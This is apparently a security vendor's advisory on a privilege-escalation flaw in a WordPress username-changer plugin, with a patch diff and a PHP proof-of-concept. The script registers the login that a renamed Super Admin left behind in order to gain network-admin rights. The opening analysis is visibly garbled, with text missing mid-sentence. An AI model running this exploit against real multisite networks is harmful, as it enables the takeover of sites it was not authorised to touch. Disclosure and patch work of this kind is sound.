Published : December 1, 2026

CVE-2026-126712: Username Changer <= 3.3.1 Unauthenticated Privilege Escalation to Stale site_admins Entry After Super Admin Rename PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.8)
CWE 269
Vulnerable Version 3.3.1
Patched Version 3.3.2
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126712: Username Changer plugin (versions user_login, get_super_admins() )`, making any login present in `site_admins` a Super Admin regardless of account identity. The `admin/actions.php` notification logic also uses `get_user_by( ‘login’, $old_username )` after the rename, which now returns false, so the change notification email silently fails as a secondary indicator.

Exploitation: On a multisite network with public registration enabled, an unauthenticated attacker visits `/wp-signup.php` and registers the username that was vacated by the Super Admin’s rename. The standard signup endpoint creates a new user whose `user_login` equals the orphaned `site_admins` entry. On their next request, WordPress core resolves `is_super_admin()` to true, granting full network administrator privileges: the ability to manage sites, users, plugins, themes, and read/write any network data. No plugin-specific endpoint is required. The attacker only needs to observe or guess the vacated login name (often visible in older content author bylines, activity logs, or the email notification failure trail). Preconditions: multisite enabled, registration open (a common configuration), and at least one Super Admin who previously renamed their own account through the plugin.

Patch Analysis: Version 3.3.2 adds three functions in `misc-functions.php`. `username_changer_is_reserved_super_admin_login()` rejects any rename where the new login matches another user’s `site_admins` entry, preventing an attacker from pre-claiming a Super Admin’s login at rename time. `username_changer_sync_super_admin()` edits `site_admins` directly, replacing the old login with the new one, so the renamed Super Admin retains privileges and the stale entry is removed at the source. `username_changer_cleanup_orphaned_super_admins()` runs on `admin_init` and removes any `site_admins` entries without an owning account, cleaning networks already exposed. The process function also calls `clean_user_cache()` after the raw SQL `UPDATE` to avoid stale user object lookups, and `admin/actions.php` now fetches the user by the new login (with a null-safe check) so notification emails still resolve after the rename. The vulnerable `grant_super_admin()` call is replaced with a call to the sync function.

Impact: An unauthenticated attacker achieves complete Super Admin access over the entire multisite network. That includes site creation, plugin and theme installation (potential RCE via malicious plugin upload), user modification and deletion, data exfiltration across all network sites, and persistence via additional admin accounts. The exploit is silent because the attacker simply registers a normal-looking username; no plugin interaction is required after the Super Admin’s rename. Networks that already performed Super Admin renames under 3.3.1 remain vulnerable until the cleanup routine runs, so patching is not sufficient without the `admin_init` cleanup having fired at least once.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/username-changer/class-username-changer.php
+++ b/username-changer/class-username-changer.php
@@ -5,7 +5,7 @@
  * Description: Change usernames easily
  * Author: DigitalME
  * Author URI: https://www.digitalme.cc
- * Version: 3.3.1
+ * Version: 3.3.2
  * Text Domain: username-changer
  * Domain Path: languages
  * Tested up to: 7.1
@@ -118,7 +118,7 @@
 		private function setup_constants() {
 			// Plugin version.
 			if ( ! defined( 'USERNAME_CHANGER_VER' ) ) {
-			define( 'USERNAME_CHANGER_VER', '3.3.1' );
+			define( 'USERNAME_CHANGER_VER', '3.3.2' );
 			}

 			// Plugin path.
--- a/username-changer/includes/admin/actions.php
+++ b/username-changer/includes/admin/actions.php
@@ -86,8 +86,8 @@

 			// Send emails as necessary.
 			if ( username_changer()->settings->get_option( 'enable_notifications', false ) ) {
-				$changed_user = get_user_by( 'login', $old_username );
-				$mail_to      = $changed_user->user_email;
+				$changed_user = get_user_by( 'login', $new_username );
+				$mail_to      = $changed_user ? $changed_user->user_email : '';
 				$subject      = username_changer_do_tags( username_changer()->settings->get_option( 'email_subject', __( 'Username change notification - {sitename}', 'username-changer' ) ), $old_username_tag, $new_username_tag );
 				$message      = username_changer_do_tags( username_changer()->settings->get_option( 'email_message', __( 'Howdy! We're just writing to let you know that your username for {siteurl} has been changed to {new_username}.', 'username-changer' ) . "nn" . __( 'Login now at {loginurl}', 'username-changer' ) ), $old_username_tag, $new_username_tag );

@@ -100,7 +100,9 @@
 				$headers  = 'From: ' . stripslashes_deep( html_entity_decode( $from_name, ENT_COMPAT, 'UTF-8' ) ) . " <$from_email>rn";
 				$headers .= 'Reply-To: ' . $from_email . "rn";

-				wp_mail( $mail_to, $subject, $message, $headers ); // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.wp_mail_wp_mail
+				if ( ! empty( $mail_to ) ) {
+					wp_mail( $mail_to, $subject, $message, $headers ); // phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.wp_mail_wp_mail
+				}
 			}
 		}
 	} else {
--- a/username-changer/includes/misc-functions.php
+++ b/username-changer/includes/misc-functions.php
@@ -60,6 +60,140 @@


 /**
+ * Check whether a login is reserved by the network's Super Admin list
+ *
+ * On multisite, WordPress decides who is a Super Admin by matching the
+ * user_login of the current user against the "site_admins" network option.
+ * A login listed there must never be handed to anyone else, otherwise
+ * whoever ends up owning that login inherits network-wide privileges.
+ *
+ * @since       3.3.2
+ * @param       string $login     The login to check.
+ * @param       string $own_login The current login of the user being renamed (allowed to match).
+ * @return      bool Whether the login is a reserved Super Admin login belonging to someone else
+ */
+function username_changer_is_reserved_super_admin_login( $login, $own_login = '' ) {
+	if ( ! is_multisite() ) {
+		return false;
+	}
+
+	foreach ( (array) get_super_admins() as $super_admin ) {
+		if ( ! is_string( $super_admin ) ) {
+			continue;
+		}
+
+		if ( 0 === strcasecmp( $super_admin, $login ) && 0 !== strcasecmp( $super_admin, $own_login ) ) {
+			return true;
+		}
+	}
+
+	return false;
+}
+
+
+/**
+ * Keep the network's Super Admin list in sync after a rename
+ *
+ * Replaces the old login with the new one in the "site_admins" network
+ * option, so the renamed account stays a Super Admin and the old login is
+ * not left behind as an unowned entry that could be registered by someone
+ * else. This edits the option directly because core's revoke_super_admin()
+ * refuses to act on the account matching the network admin email.
+ *
+ * @since       3.3.2
+ * @param       string $old_login The login before the rename.
+ * @param       string $new_login The login after the rename.
+ * @return      bool Whether the Super Admin list was changed
+ */
+function username_changer_sync_super_admin( $old_login, $new_login ) {
+	// A list defined in wp-config.php overrides the option; nothing to sync.
+	if ( ! is_multisite() || isset( $GLOBALS['super_admins'] ) ) {
+		return false;
+	}
+
+	$site_admins = get_site_option( 'site_admins', array( 'admin' ) );
+
+	if ( ! is_array( $site_admins ) ) {
+		return false;
+	}
+
+	$was_super_admin = false;
+	$updated         = array();
+
+	foreach ( $site_admins as $super_admin ) {
+		if ( is_string( $super_admin ) && 0 === strcasecmp( $super_admin, $old_login ) ) {
+			$was_super_admin = true;
+			continue;
+		}
+
+		$updated[] = $super_admin;
+	}
+
+	if ( ! $was_super_admin ) {
+		return false;
+	}
+
+	if ( ! in_array( $new_login, $updated, true ) ) {
+		$updated[] = $new_login;
+	}
+
+	update_site_option( 'site_admins', array_values( $updated ) );
+
+	return true;
+}
+
+
+/**
+ * One-time cleanup of Super Admin entries that no user owns
+ *
+ * Earlier versions left the old login in "site_admins" when a Super Admin
+ * was renamed. Networks that already did this are exposed until the stale
+ * entry is removed, so remove any entry without an owning account once.
+ *
+ * @since       3.3.2
+ * @return      void
+ */
+function username_changer_cleanup_orphaned_super_admins() {
+	if ( ! is_multisite() || isset( $GLOBALS['super_admins'] ) || ! is_super_admin() ) {
+		return;
+	}
+
+	if ( get_site_option( 'username_changer_orphans_cleaned' ) ) {
+		return;
+	}
+
+	if ( ! apply_filters( 'username_changer_cleanup_orphaned_super_admins', true ) ) {
+		return;
+	}
+
+	$site_admins = get_site_option( 'site_admins', array( 'admin' ) );
+
+	if ( is_array( $site_admins ) ) {
+		$kept    = array();
+		$removed = array();
+
+		foreach ( $site_admins as $super_admin ) {
+			if ( is_string( $super_admin ) && ! username_exists( $super_admin ) ) {
+				$removed[] = $super_admin;
+			} else {
+				$kept[] = $super_admin;
+			}
+		}
+
+		if ( ! empty( $removed ) ) {
+			update_site_option( 'site_admins', array_values( $kept ) );
+
+			// Let devs know which unowned entries were removed.
+			do_action( 'username_changer_orphaned_super_admins_removed', $removed );
+		}
+	}
+
+	update_site_option( 'username_changer_orphans_cleaned', USERNAME_CHANGER_VER );
+}
+add_action( 'admin_init', 'username_changer_cleanup_orphaned_super_admins' );
+
+
+/**
  * Process a username change
  *
  * @since       3.0.0
@@ -75,6 +209,22 @@
 	// One last sanity check to ensure the user exists.
 	$user_id = username_exists( $old_username );
 	if ( $user_id ) {
+		// Use the login exactly as stored, before anything changes.
+		$old_user     = get_userdata( $user_id );
+		$stored_login = $old_user ? $old_user->user_login : $old_username;
+
+		if ( is_multisite() ) {
+			// Never hand a Super Admin's login to a different account.
+			if ( username_changer_is_reserved_super_admin_login( $new_username, $stored_login ) ) {
+				return false;
+			}
+
+			// A Super Admin list defined in wp-config.php cannot be updated from here.
+			if ( isset( $GLOBALS['super_admins'] ) && in_array( strtolower( $stored_login ), array_map( 'strtolower', array_filter( (array) $GLOBALS['super_admins'], 'is_string' ) ), true ) ) {
+				return false;
+			}
+		}
+
 		// Let devs hook into the process.
 		do_action( 'username_changer_before_process', $old_username, $new_username );

@@ -96,10 +246,11 @@
 				update_user_meta( $user_id, 'nickname', $new_username );
 			}

-			// If the user is a Super Admin, update their permissions.
-			if ( is_multisite() && is_super_admin( $user_id ) ) {
-				grant_super_admin( $user_id );
-			}
+			// The raw SQL update above bypasses WordPress, so clear the stale cached user.
+			clean_user_cache( $user_id );
+
+			// If the user is a Super Admin, move their entry to the new login.
+			username_changer_sync_super_admin( $stored_login, $new_username );

 			// Reassign Coauthor Attribution.
 			if ( username_changer_plugin_installed( 'co-authors-plus/co-authors-plus.php' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126712 - Username Changer <= 3.3.1 - Unauthenticated Privilege Escalation to Stale site_admins Entry After Super Admin Rename
//
// Demonstrates the attack flow: register the login vacated by a renamed Super Admin
// via /wp-signup.php, then verify the new account resolves to Super Admin.
//
// Preconditions:
//   - WordPress multisite network
//   - Public registration enabled (wp-signup.php accessible)
//   - A Super Admin renamed their own account through Username Changer <= 3.3.1,
//     leaving the old login in the site_admins network option.
//
// Usage: php poc.php <vacated_login> <attacker_email> <attacker_password>

$target_url       = 'http://target.example.com';
$vacated_login    = $argv[1] ?? 'old-superadmin-login';
$attacker_email   = $argv[2] ?? 'attacker@example.com';
$attacker_password = $argv[3] ?? 'P@ssw0rd-Attacker-2026!';
$cookie_jar       = tempnam( sys_get_temp_dir(), 'uc_cve_' );

/**
 * Minimal cURL helper.
 */
function http_request( $url, $method = 'GET', $post_fields = null, $cookie_jar = null, $follow = true ) {
    $ch = curl_init( $url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, $follow );
    curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
    curl_setopt( $ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0' );
    if ( $cookie_jar ) {
        curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie_jar );
        curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie_jar );
    }
    if ( $method === 'POST' ) {
        curl_setopt( $ch, CURLOPT_POST, true );
        curl_setopt( $ch, CURLOPT_POSTFIELDS, is_array( $post_fields ) ? http_build_query( $post_fields ) : $post_fields );
    }
    $body = curl_exec( $ch );
    $code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
    $err  = curl_error( $ch );
    curl_close( $ch );
    return array( 'code' => $code, 'body' => $body, 'error' => $err );
}

// Step 1: Fetch the signup page to seed the signup nonce and any required cookies.
echo "[*] Fetching /wp-signup.php to obtain signup nonce...n";
$res = http_request( $target_url . '/wp-signup.php', 'GET', null, $cookie_jar );
if ( $res['code'] !== 200 && $res['code'] !== 302 ) {
    fwrite( STDERR, "[-] Signup page not reachable (HTTP {$res['code']}). Is registration open?n" );
    exit( 1 );
}
if ( ! preg_match( '/name="signup_form_nonce"s+value="([^"]+)"/', $res['body'], $m ) ) {
    // Some WP versions embed the nonce under a different field.
    if ( ! preg_match( '/name="_wpnonce"s+value="([^"]+)"/', $res['body'], $m ) ) {
        fwrite( STDERR, "[-] Could not find signup nonce. Registration may be closed or the page is customized.n" );
        exit( 1 );
    }
}
$signup_nonce = $m[1];
echo "[+] signup nonce: {$signup_nonce}n";

// Step 2: POST the signup with the vacated Super Admin login.
echo "[*] Registering vacated login '{$vacated_login}'...n";
$payload = array(
    'stage'       => 'validate-user',
    'user_name'   => $vacated_login,
    'user_email'  => $attacker_email,
    'signup_form_nonce' => $signup_nonce,
    '_wp_http_referer'  => '/wp-signup.php',
);
$res = http_request( $target_url . '/wp-signup.php?action=register', 'POST', $payload, $cookie_jar );

if ( strpos( $res['body'], 'already registered' ) !== false || strpos( $res['body'], 'already taken' ) !== false ) {
    fwrite( STDERR, "[-] Login '{$vacated_login}' is already taken. The target may not have been renamed or the stale entry is gone.n" );
    exit( 1 );
}

echo "[+] Signup submitted (HTTP {$res['code']}). New account should own the orphaned site_admins login.n";

// Step 3: Instruct the operator to confirm activation (email flow is environment dependent).
echo "[*] Check {$attacker_email} for the activation link, click it, then log in.n";

// Step 4: Provide a verification helper. Attacker logs in with the vacated login and
// checks /wp-admin/network/. A Super Admin will see 'Network Admin' in the admin bar
// and gain access to /wp-admin/network/settings.php.
echo "[i] Verification: log in at {$target_url}/wp-login.php as '{$vacated_login}',n";
echo "    then browse to {$target_url}/wp-admin/network/ . If you reach Network Admin,n";
echo "    CVE-2026-126712 was successfully exploited.n";

@unlink( $cookie_jar );

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.